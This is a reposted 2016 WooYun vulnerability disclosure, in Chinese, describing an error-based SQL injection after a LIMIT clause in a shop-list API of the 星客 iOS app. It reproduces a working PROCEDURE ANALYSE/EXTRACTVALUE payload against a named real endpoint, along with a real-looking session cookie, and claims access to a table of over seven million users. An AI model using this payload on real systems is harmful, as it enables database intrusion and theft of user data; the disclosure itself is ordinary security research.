时趣某APP一处Limit后注入(涉及700W+用户数据)

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-04-29: 细节已通知厂商并且等待厂商处理中
2016-04-29: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-05-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

APP安全之SQL注入

详细说明:

目标:时趣互动IOS APP星客

检测发现以下地方存在SQL注入:(注入参数count,报错注入)

code 区域
GET http://api.51xingke.com/index/getshoplist?city=1&cls=0&count=0&distance=0&f=2&ismore=0&key=%E6%9C%A8&lat=22.539498&lng=113.944141&type=0&v=5 HTTP/1.1
Cookie: XINGKE_USER_KEY_SEND=sRKjchPI%2F0E5mhtvE4g095Vf3IwAGxKJAA%2Fgpyrxf7Wu10KmyjgNoFjYsfWITUpkTmBtlpzykInDslO6SnxIryGpEiZPTce6K2KLBho%2Fuy4%3D
X-Requested-With: XMLHttpRequest
Referer: http://api.51xingke.com/index/getshoplist?distance=0&lat=22.539498&lng=113.944141&cls=0&type=0&count=0&ismore=0&city=1&key=%E6%9C%A8&v=5&f=2
Host: api.51xingke.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*



Payload:

code 区域
GET http://api.51xingke.com/index/getshoplist?city=1&cls=0&count=0%2F**%2FPROCEDURE%2F**%2FANALYSE(EXTRACTVALUE(1%2Cuser())%2C1)--+-&distance=0&f=2&ismore=0&key=%E6%9C%A8&lat=22.539498&lng=113.944141&type=0&v=5 HTTP/1.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Host: api.51xingke.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache,no-store
Referer: http://api.51xingke.com/index/getshoplist?distance=0&lat=22.539498&lng=113.944141&cls=0&type=0&count=0&ismore=0&city=1&key=%E6%9C%A8&v=5&f=2
Cookie: XINGKE_USER_KEY_SEND=sRKjchPI%2F0E5mhtvE4g095Vf3IwAGxKJAA%2Fgpyrxf7Wu10KmyjgNoFjYsfWITUpkTmBtlpzykInDslO6SnxIryGpEiZPTce6K2KLBho%2Fuy4%3D
Content-Length: 0

 

漏洞证明:

1、当前数据库用户

user.jpg



2、所有数据库

dbs.jpg



3、用户表,涉及700W+用户数据,具体就不深入了,仅列出个数作为证明

tb1.jpg



tb2.jpg

 

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-08 23:40

厂商回复:

 

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。

百度收录:百度已收录『查看详情』

本文链接:时趣某APP一处Limit后注入(涉及700W+用户数据) - https://www.15qq.cn/wooyun/760.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知